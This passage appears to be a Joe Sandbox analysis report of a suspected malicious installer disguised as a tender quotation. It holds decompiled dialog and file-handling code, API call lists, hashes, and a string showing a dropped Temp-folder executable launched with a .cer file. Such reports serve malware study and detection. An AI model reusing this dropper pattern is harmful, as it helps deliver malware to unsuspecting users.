          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: FileFindFirst
          • String ID:
          • API String ID: 1974802433-0
          • Opcode ID: b2f27a8a5f9b700f187602bb898c1293859530a573ae52e9df8ecc114fa703e5
          • Instruction ID: b84bdfeecc4e8c0803ac0e71b8711fc90ef1d688bdc4be786e729a17b55638d3
          • Opcode Fuzzy Hash: b2f27a8a5f9b700f187602bb898c1293859530a573ae52e9df8ecc114fa703e5
          • Instruction Fuzzy Hash: 47F05E71A04105EBDB01DBB4EE49AAEB378EF14314F60457BE101F21D0E7B88E529B29
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 96%
          			E00405031(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
          				struct HWND__* _v8;
          				struct HWND__* _v12;
          				long _v16;
          				signed int _v20;
          				signed int _v24;
          				intOrPtr _v28;
          				signed char* _v32;
          				int _v36;
          				signed int _v44;
          				int _v48;
          				signed int* _v60;
          				signed char* _v64;
          				signed int _v68;
          				long _v72;
          				void* _v76;
          				intOrPtr _v80;
          				intOrPtr _v84;
          				void* _v88;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				signed int _t198;
          				intOrPtr _t201;
          				long _t207;
          				signed int _t211;
          				signed int _t222;
          				void* _t225;
          				void* _t226;
          				int _t232;
          				long _t237;
          				long _t238;
          				signed int _t239;
          				signed int _t245;
          				signed int _t247;
          				signed char _t248;
          				signed char _t254;
          				void* _t258;
          				void* _t260;
          				signed char* _t278;
          				signed char _t279;
          				long _t284;
          				struct HWND__* _t291;
          				signed int* _t292;
          				int _t293;
          				long _t294;
          				signed int _t295;
          				void* _t297;
          				long _t298;
          				int _t299;
          				signed int _t300;
          				signed int _t303;
          				signed int _t311;
          				signed char* _t319;
          				int _t324;
          				void* _t326;
          
          				_t291 = _a4;
          				_v12 = GetDlgItem(_t291, 0x3f9);
          				_v8 = GetDlgItem(_t291, 0x408);
          				_t326 = SendMessageW;
          				_v24 =  *0x42a288;
          				_v28 =  *0x42a270 + 0x94;
          				if(_a8 != 0x110) {
          					L23:
          					if(_a8 != 0x405) {
          						_t301 = _a16;
          					} else {
          						_a12 = 0;
          						_t301 = 1;
          						_a8 = 0x40f;
          						_a16 = 1;
          					}
          					if(_a8 == 0x4e || _a8 == 0x413) {
          						_v16 = _t301;
          						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
          							if(( *0x42a279 & 0x00000002) != 0) {
          								L41:
          								if(_v16 != 0) {
          									_t237 = _v16;
          									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
          										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
          									}
          									_t238 = _v16;
          									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
          										_t301 = _v24;
          										_t239 =  *(_t238 + 0x5c);
          										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
          											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
          										} else {
          											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
          										}
          									}
          								}
          								goto L48;
          							}
          							if(_a8 == 0x413) {
          								L33:
          								_t301 = 0 | _a8 != 0x00000413;
          								_t245 = E00404F7F(_v8, _a8 != 0x413);
          								_t295 = _t245;
          								if(_t295 >= 0) {
          									_t94 = _v24 + 8; // 0x8
          									_t301 = _t245 * 0x818 + _t94;
          									_t247 =  *_t301;
          									if((_t247 & 0x00000010) == 0) {
          										if((_t247 & 0x00000040) == 0) {
          											_t248 = _t247 ^ 0x00000001;
          										} else {
          											_t254 = _t247 ^ 0x00000080;
          											if(_t254 >= 0) {
          												_t248 = _t254 & 0x000000fe;
          											} else {
          												_t248 = _t254 | 0x00000001;
          											}
          										}
          										 *_t301 = _t248;
          										E0040117D(_t295);
          										_a12 = _t295 + 1;
          										_a16 =  !( *0x42a278) >> 0x00000008 & 0x00000001;
          										_a8 = 0x40f;
          									}
          								}
          								goto L41;
          							}
          							_t301 = _a16;
          							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
          								goto L41;
          							}
          							goto L33;
          						} else {
          							goto L48;
          						}
          					} else {
          						L48:
          						if(_a8 != 0x111) {
          							L56:
          							if(_a8 == 0x200) {
          								SendMessageW(_v8, 0x200, 0, 0);
          							}
          							if(_a8 == 0x40b) {
          								_t225 =  *0x42372c;
          								if(_t225 != 0) {
          									ImageList_Destroy(_t225);
          								}
          								_t226 =  *0x423740;
          								if(_t226 != 0) {
          									GlobalFree(_t226);
          								}
          								 *0x42372c = 0;
          								 *0x423740 = 0;
          								 *0x42a2c0 = 0;
          							}
          							if(_a8 != 0x40f) {
          								L90:
          								if(_a8 == 0x420 && ( *0x42a279 & 0x00000001) != 0) {
          									_t324 = (0 | _a16 == 0x00000020) << 3;
          									ShowWindow(_v8, _t324);
          									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
          								}
          								goto L93;
          							} else {
          								E004011EF(_t301, 0, 0);
          								_t198 = _a12;
          								if(_t198 != 0) {
          									if(_t198 != 0xffffffff) {
          										_t198 = _t198 - 1;
          									}
          									_push(_t198);
          									_push(8);
          									E00404FFF();
          								}
          								if(_a16 == 0) {
          									L75:
          									E004011EF(_t301, 0, 0);
          									_v36 =  *0x423740;
          									_t201 =  *0x42a288;
          									_v64 = 0xf030;
          									_v24 = 0;
          									if( *0x42a28c <= 0) {
          										L86:
          										if( *0x42a31e == 0x400) {
          											InvalidateRect(_v8, 0, 1);
          										}
          										if( *((intOrPtr*)( *0x42923c + 0x10)) != 0) {
          											E00404F3A(0x3ff, 0xfffffffb, E00404F52(5));
          										}
          										goto L90;
          									}
          									_t292 = _t201 + 8;
          									do {
          										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
          										if(_t207 != 0) {
          											_t303 =  *_t292;
          											_v72 = _t207;
          											_v76 = 8;
          											if((_t303 & 0x00000001) != 0) {
          												_v76 = 9;
          												_v60 =  &(_t292[4]);
          												_t292[0] = _t292[0] & 0x000000fe;
          											}
          											if((_t303 & 0x00000040) == 0) {
          												_t211 = (_t303 & 0x00000001) + 1;
          												if((_t303 & 0x00000010) != 0) {
          													_t211 = _t211 + 3;
          												}
          											} else {
          												_t211 = 3;
          											}
          											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
          											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
          											SendMessageW(_v8, 0x113f, 0,  &_v76);
          										}
          										_v24 = _v24 + 1;
          										_t292 =  &(_t292[0x206]);
          									} while (_v24 <  *0x42a28c);
          									goto L86;
          								} else {
          									_t293 = E004012E2( *0x423740);
          									E00401299(_t293);
          									_t222 = 0;
          									_t301 = 0;
          									if(_t293 <= 0) {
          										L74:
          										SendMessageW(_v12, 0x14e, _t301, 0);
          										_a16 = _t293;
          										_a8 = 0x420;
          										goto L75;
          									} else {
          										goto L71;
          									}
          									do {
          										L71:
          										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
          											_t301 = _t301 + 1;
          										}
          										_t222 = _t222 + 1;
          									} while (_t222 < _t293);
          									goto L74;
          								}
          							}
          						}
          						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
          							goto L93;
          						} else {
          							_t232 = SendMessageW(_v12, 0x147, 0, 0);
          							if(_t232 == 0xffffffff) {
          								goto L93;
          							}
          							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
          							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
          								_t294 = 0x20;
          							}
          							E00401299(_t294);
          							SendMessageW(_a4, 0x420, 0, _t294);
          							_a12 = _a12 | 0xffffffff;
          							_a16 = 0;
          							_a8 = 0x40f;
          							goto L56;
          						}
          					}
          				} else {
          					_v36 = 0;
          					_v20 = 2;
          					 *0x42a2c0 = _t291;
          					 *0x423740 = GlobalAlloc(0x40,  *0x42a28c << 2);
          					_t258 = LoadImageW( *0x42a260, 0x6e, 0, 0, 0, 0);
          					 *0x423734 =  *0x423734 | 0xffffffff;
          					_t297 = _t258;
          					 *0x42373c = SetWindowLongW(_v8, 0xfffffffc, E0040563E);
          					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
          					 *0x42372c = _t260;
          					ImageList_AddMasked(_t260, _t297, 0xff00ff);
          					SendMessageW(_v8, 0x1109, 2,  *0x42372c);
          					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
          						SendMessageW(_v8, 0x111b, 0x10, 0);
          					}
          					DeleteObject(_t297);
          					_t298 = 0;
          					do {
          						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
          						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
          							if(_t298 != 0x20) {
          								_v20 = 0;
          							}
          							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E004066A5(_t298, 0, _t326, 0, _t266)), _t298);
          						}
          						_t298 = _t298 + 1;
          					} while (_t298 < 0x21);
          					_t299 = _a16;
          					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
          					_push(0x15);
          					E004045C4(_a4);
          					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
          					_push(0x16);
          					E004045C4(_a4);
          					_t300 = 0;
          					_v16 = 0;
          					if( *0x42a28c <= 0) {
          						L19:
          						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
          						goto L20;
          					} else {
          						_t319 = _v24 + 8;
          						_v32 = _t319;
          						do {
          							_t278 =  &(_t319[0x10]);
          							if( *_t278 != 0) {
          								_v64 = _t278;
          								_t279 =  *_t319;
          								_v88 = _v16;
          								_t311 = 0x20;
          								_v84 = 0xffff0002;
          								_v80 = 0xd;
          								_v68 = _t311;
          								_v44 = _t300;
          								_v72 = _t279 & _t311;
          								if((_t279 & 0x00000002) == 0) {
          									if((_t279 & 0x00000004) == 0) {
          										 *( *0x423740 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
          									} else {
          										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
          									}
          								} else {
          									_v80 = 0x4d;
          									_v48 = 1;
          									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
          									_v36 = 1;
          									 *( *0x423740 + _t300 * 4) = _t284;
          									_v16 =  *( *0x423740 + _t300 * 4);
          								}
          							}
          							_t300 = _t300 + 1;
          							_t319 =  &(_v32[0x818]);
          							_v32 = _t319;
          						} while (_t300 <  *0x42a28c);
          						if(_v36 != 0) {
          							L20:
          							if(_v20 != 0) {
          								E004045F9(_v8);
          								goto L23;
          							} else {
          								ShowWindow(_v12, 5);
          								E004045F9(_v12);
          								L93:
          								return E0040462B(_a8, _a12, _a16);
          							}
          						}
          						goto L19;
          					}
          				}
          			}


























































          0x00405038
          0x00405051
          0x00405056
          0x0040505e
          0x00405064
          0x0040507a
          0x0040507d
          0x004052a8
          0x004052af
          0x004052c3
          0x004052b1
          0x004052b3
          0x004052b6
          0x004052b7
          0x004052be
          0x004052be
          0x004052cf
          0x004052dd
          0x004052e0
          0x004052f6
          0x0040536b
          0x0040536e
          0x00405370
          0x0040537a
          0x00405388
          0x00405388
          0x0040538a
          0x00405394
          0x0040539a
          0x0040539d
          0x004053a0
          0x004053bb
          0x004053a2
          0x004053ac
          0x004053ac
          0x004053a0
          0x00405394
          0x00000000
          0x0040536e
          0x004052fb
          0x00405306
          0x0040530b
          0x00405312
          0x00405317
          0x0040531b
          0x00405326
          0x00405326
          0x0040532a
          0x0040532e
          0x00405332
          0x00405345
          0x00405334
          0x00405334
          0x0040533b
          0x00405341
          0x0040533d
          0x0040533d
          0x0040533d
          0x0040533b
          0x00405349
          0x0040534b
          0x0040535e
          0x00405361
          0x00405364
          0x00405364
          0x0040532e
          0x00000000
          0x0040531b
          0x004052fd
          0x00405304
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004053be
          0x004053be
          0x004053c5
          0x00405436
          0x0040543e
          0x00405446
          0x00405446
          0x0040544f
          0x00405451
          0x00405458
          0x0040545b
          0x0040545b
          0x00405461
          0x00405468
          0x0040546b
          0x0040546b
          0x00405471
          0x00405477
          0x0040547d
          0x0040547d
          0x0040548a
          0x004055eb
          0x004055f2
          0x0040560f
          0x00405615
          0x00405627
          0x00405627
          0x00000000
          0x00405490
          0x00405492
          0x00405497
          0x0040549c
          0x004054a1
          0x004054a3
          0x004054a3
          0x004054a4
          0x004054a5
          0x004054a7
          0x004054a7
          0x004054af
          0x004054f0
          0x004054f2
          0x00405502
          0x00405505
          0x0040550a
          0x00405511
          0x00405514
          0x004055b6
          0x004055bf
          0x004055c7
          0x004055c7
          0x004055d5
          0x004055e6
          0x004055e6
          0x00000000
          0x004055d5
          0x0040551a
          0x0040551d
          0x00405523
          0x00405528
          0x0040552a
          0x0040552c
          0x00405532
          0x00405539
          0x0040553e
          0x00405545
          0x00405548
          0x00405548
          0x0040554f
          0x0040555b
          0x0040555f
          0x00405561
          0x00405561
          0x00405551
          0x00405553
          0x00405553
          0x00405581
          0x0040558d
          0x0040559c
          0x0040559c
          0x0040559e
          0x004055a1
          0x004055aa
          0x00000000
          0x004054b1
          0x004054bc
          0x004054bf
          0x004054c4
          0x004054c6
          0x004054ca
          0x004054da
          0x004054e4
          0x004054e6
          0x004054e9
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004054cc
          0x004054cc
          0x004054d2
          0x004054d4
          0x004054d4
          0x004054d5
          0x004054d6
          0x00000000
          0x004054cc
          0x004054af
          0x0040548a
          0x004053cd
          0x00000000
          0x004053e3
          0x004053ed
          0x004053f2
          0x00000000
          0x00000000
          0x00405404
          0x00405409
          0x00405415
          0x00405415
          0x00405417
          0x00405426
          0x00405428
          0x0040542c
          0x0040542f
          0x00000000
          0x0040542f
          0x004053cd
          0x00405083
          0x00405088
          0x00405091
          0x00405098
          0x004050aa
          0x004050b5
          0x004050bb
          0x004050c9
          0x004050dd
          0x004050e2
          0x004050ef
          0x004050f4
          0x0040510a
          0x0040511b
          0x00405128
          0x00405128
          0x0040512b
          0x00405131
          0x00405133
          0x00405136
          0x0040513b
          0x00405140
          0x00405142
          0x00405142
          0x00405162
          0x00405162
          0x00405164
          0x00405165
          0x0040516a
          0x00405170
          0x00405174
          0x00405179
          0x00405181
          0x00405185
          0x0040518a
          0x0040518f
          0x00405197
          0x0040519a
          0x0040526a
          0x0040527d
          0x00000000
          0x004051a0
          0x004051a3
          0x004051a6
          0x004051a9
          0x004051a9
          0x004051af
          0x004051b8
          0x004051bb
          0x004051bf
          0x004051c2
          0x004051c5
          0x004051ce
          0x004051d7
          0x004051da
          0x004051dd
          0x004051e0
          0x0040521e
          0x00405249
          0x00405220
          0x0040522f
          0x0040522f
          0x004051e2
          0x004051e5
          0x004051f3
          0x004051fd
          0x00405205
          0x0040520c
          0x00405217
          0x00405217
          0x004051e0
          0x0040524f
          0x00405250
          0x0040525c
          0x0040525c
          0x00405268
          0x00405283
          0x00405286
          0x004052a3
          0x00000000
          0x00405288
          0x0040528d
          0x00405296
          0x00405629
          0x0040563b
          0x0040563b
          0x00405286
          0x00000000
          0x00405268
          0x0040519a

          APIs
          • GetDlgItem.USER32 ref: 00405049
          • GetDlgItem.USER32 ref: 00405054
          • GlobalAlloc.KERNEL32(00000040,?), ref: 0040509E
          • LoadImageW.USER32 ref: 004050B5
          • SetWindowLongW.USER32 ref: 004050CE
          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004050E2
          • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004050F4
          • SendMessageW.USER32(?,00001109,00000002), ref: 0040510A
          • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405116
          • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405128
          • DeleteObject.GDI32(00000000), ref: 0040512B
          • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405156
          • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405162
          • SendMessageW.USER32(?,00001132,00000000,?), ref: 004051FD
          • SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040522D
            • Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607
          • SendMessageW.USER32(?,00001132,00000000,?), ref: 00405241
          • GetWindowLongW.USER32(?,000000F0), ref: 0040526F
          • SetWindowLongW.USER32 ref: 0040527D
          • ShowWindow.USER32(?,00000005), ref: 0040528D
          • SendMessageW.USER32(?,00000419,00000000,?), ref: 00405388
          • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004053ED
          • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405402
          • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405426
          • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405446
          • ImageList_Destroy.COMCTL32(?), ref: 0040545B
          • GlobalFree.KERNEL32 ref: 0040546B
          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004054E4
          • SendMessageW.USER32(?,00001102,?,?), ref: 0040558D
          • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040559C
          • InvalidateRect.USER32(?,00000000,00000001), ref: 004055C7
          • ShowWindow.USER32(?,00000000), ref: 00405615
          • GetDlgItem.USER32 ref: 00405620
          • ShowWindow.USER32(00000000), ref: 00405627
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
          • String ID: $M$N
          • API String ID: 2564846305-813528018
          • Opcode ID: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
          • Instruction ID: a1eb65f7683e17450fca8d4cb4c1055b074660be5b1b810df034ff690b7f681c
          • Opcode Fuzzy Hash: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
          • Instruction Fuzzy Hash: 2A025CB0900609EFDF20DF65CD45AAE7BB5FB44315F10817AEA10BA2E1D7798A52CF18
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 91%
          			E00404783(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
          				intOrPtr _v8;
          				int _v12;
          				void* _v16;
          				struct HWND__* _t56;
          				signed int _t75;
          				signed short* _t76;
          				signed short* _t78;
          				long _t92;
          				int _t103;
          				signed int _t110;
          				intOrPtr _t113;
          				WCHAR* _t114;
          				signed int* _t116;
          				WCHAR* _t117;
          				struct HWND__* _t118;
          
          				if(_a8 != 0x110) {
          					if(_a8 != 0x111) {
          						L13:
          						if(_a8 != 0x4e) {
          							if(_a8 == 0x40b) {
          								 *0x421714 =  *0x421714 + 1;
          							}
          							L27:
          							_t114 = _a16;
          							L28:
          							return E0040462B(_a8, _a12, _t114);
          						}
          						_t56 = GetDlgItem(_a4, 0x3e8);
          						_t114 = _a16;
          						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
          							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
          							_t113 =  *((intOrPtr*)(_t114 + 0x18));
          							_v12 = _t103;
          							_v16 = _t113;
          							_v8 = 0x428200;
          							if(_t103 - _t113 < 0x800) {
          								SendMessageW(_t56, 0x44b, 0,  &_v16);
          								SetCursor(LoadCursorW(0, 0x7f02));
          								_push(1);
          								E00404A32(_a4, _v8);
          								SetCursor(LoadCursorW(0, 0x7f00));
          								_t114 = _a16;
          							}
          						}
          						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
          							goto L28;
          						} else {
          							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
          								SendMessageW( *0x42a268, 0x111, 1, 0);
          							}
          							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
          								SendMessageW( *0x42a268, 0x10, 0, 0);
          							}
          							return 1;
          						}
          					}
          					if(_a12 >> 0x10 != 0 ||  *0x421714 != 0) {
          						goto L27;
          					} else {
          						_t116 =  *0x422720 + 0x14;
          						if(( *_t116 & 0x00000020) == 0) {
          							goto L27;
          						}
          						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
          						E004045E6(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
          						E00404A0E();
          						goto L13;
          					}
          				}
          				_t117 = _a16;
          				_t75 =  *(_t117 + 0x30);
          				if(_t75 < 0) {
          					_t75 =  *( *0x42923c - 4 + _t75 * 4);
          				}
          				_t76 =  *0x42a298 + _t75 * 2;
          				_t110 =  *_t76 & 0x0000ffff;
          				_a8 = _t110;
          				_t78 =  &(_t76[1]);
          				_a16 = _t78;
          				_v16 = _t78;
          				_v12 = 0;
          				_v8 = E00404734;
          				if(_t110 != 2) {
          					_v8 = E004046FA;
          				}
          				_push( *((intOrPtr*)(_t117 + 0x34)));
          				_push(0x22);
          				E004045C4(_a4);
          				_push( *((intOrPtr*)(_t117 + 0x38)));
          				_push(0x23);
          				E004045C4(_a4);
          				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
          				E004045E6( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
          				_t118 = GetDlgItem(_a4, 0x3e8);
          				E004045F9(_t118);
          				SendMessageW(_t118, 0x45b, 1, 0);
          				_t92 =  *( *0x42a270 + 0x68);
          				if(_t92 < 0) {
          					_t92 = GetSysColor( ~_t92);
          				}
          				SendMessageW(_t118, 0x443, 0, _t92);
          				SendMessageW(_t118, 0x445, 0, 0x4010000);
          				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
          				 *0x421714 = 0;
          				SendMessageW(_t118, 0x449, _a8,  &_v16);
          				 *0x421714 = 0;
          				return 0;
          			}


















          0x00404795
          0x004048c2
          0x0040491f
          0x00404923
          0x004049f0
          0x004049f2
          0x004049f2
          0x004049f8
          0x004049f8
          0x004049fb
          0x00000000
          0x00404a02
          0x00404931
          0x00404937
          0x00404941
          0x0040494c
          0x0040494f
          0x00404952
          0x0040495d
          0x00404960
          0x00404967
          0x00404974
          0x00404985
          0x0040498b
          0x00404993
          0x004049a1
          0x004049a7
          0x004049a7
          0x00404967
          0x004049b1
          0x00000000
          0x004049bc
          0x004049c0
          0x004049d0
          0x004049d0
          0x004049d6
          0x004049e2
          0x004049e2
          0x00000000
          0x004049e6
          0x004049b1
          0x004048cd
          0x00000000
          0x004048df
          0x004048e4
          0x004048ea
          0x00000000
          0x00000000
          0x00404913
          0x00404915
          0x0040491a
          0x00000000
          0x0040491a
          0x004048cd
          0x0040479b
          0x0040479e
          0x004047a3
          0x004047b4
          0x004047b4
          0x004047bc
          0x004047bf
          0x004047c3
          0x004047c6
          0x004047ca
          0x004047cd
          0x004047d0
          0x004047d3
          0x004047da
          0x004047dc
          0x004047dc
          0x004047e6
          0x004047f3
          0x004047fd
          0x00404802
          0x00404805
          0x0040480a
          0x00404821
          0x00404828
          0x0040483b
          0x0040483e
          0x00404852
          0x00404859
          0x0040485e
          0x00404863
          0x00404863
          0x00404871
          0x0040487f
          0x00404891
          0x00404896
          0x004048a6
          0x004048a8
          0x00000000

          APIs
          • CheckDlgButton.USER32 ref: 00404821
          • GetDlgItem.USER32 ref: 00404835
          • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404852
          • GetSysColor.USER32(?), ref: 00404863
          • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404871
          • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040487F
          • lstrlenW.KERNEL32(?), ref: 00404884
          • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404891
          • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004048A6
          • GetDlgItem.USER32 ref: 004048FF
          • SendMessageW.USER32(00000000), ref: 00404906
          • GetDlgItem.USER32 ref: 00404931
          • SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404974
          • LoadCursorW.USER32(00000000,00007F02), ref: 00404982
          • SetCursor.USER32(00000000), ref: 00404985
          • LoadCursorW.USER32(00000000,00007F00), ref: 0040499E
          • SetCursor.USER32(00000000), ref: 004049A1
          • SendMessageW.USER32(00000111,00000001,00000000), ref: 004049D0
          • SendMessageW.USER32(00000010,00000000,00000000), ref: 004049E2
          Strings
          • N, xrefs: 0040491F
          • "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer, xrefs: 00404960
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
          • String ID: "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer$N
          • API String ID: 3103080414-2892084178
          • Opcode ID: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
          • Instruction ID: 690b4d321b533a2a97605fa3f7bb2423a24794fe1ec6c961d913f822d5f12d1b
          • Opcode Fuzzy Hash: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
          • Instruction Fuzzy Hash: AB6181F1900209FFDB109F61CD85A6A7B69FB84304F00813AF705B62E0C7799951DFA9
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E004062AE(void* __ecx) {
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				long _t12;
          				long _t24;
          				char* _t31;
          				int _t37;
          				void* _t38;
          				intOrPtr* _t39;
          				long _t42;
          				WCHAR* _t44;
          				void* _t46;
          				void* _t48;
          				void* _t49;
          				void* _t52;
          				void* _t53;
          
          				_t38 = __ecx;
          				_t44 =  *(_t52 + 0x14);
          				 *0x426de8 = 0x55004e;
          				 *0x426dec = 0x4c;
          				if(_t44 == 0) {
          					L3:
          					_t2 = _t52 + 0x1c; // 0x4275e8
          					_t12 = GetShortPathNameW( *_t2, 0x4275e8, 0x400);
          					if(_t12 != 0 && _t12 <= 0x400) {
          						_t37 = wsprintfA(0x4269e8, "%ls=%ls\r\n", 0x426de8, 0x4275e8);
          						_t53 = _t52 + 0x10;
          						E004066A5(_t37, 0x400, 0x4275e8, 0x4275e8,  *((intOrPtr*)( *0x42a270 + 0x128)));
          						_t12 = E00406158(0x4275e8, 0xc0000000, 4);
          						_t48 = _t12;
          						 *(_t53 + 0x18) = _t48;
          						if(_t48 != 0xffffffff) {
          							_t42 = GetFileSize(_t48, 0);
          							_t6 = _t37 + 0xa; // 0xa
          							_t46 = GlobalAlloc(0x40, _t42 + _t6);
          							if(_t46 == 0 || E004061DB(_t48, _t46, _t42) == 0) {
          								L18:
          								return CloseHandle(_t48);
          							} else {
          								if(E004060BD(_t38, _t46, "[Rename]\r\n") != 0) {
          									_t49 = E004060BD(_t38, _t21 + 0xa, "\n[");
          									if(_t49 == 0) {
          										_t48 =  *(_t53 + 0x18);
          										L16:
          										_t24 = _t42;
          										L17:
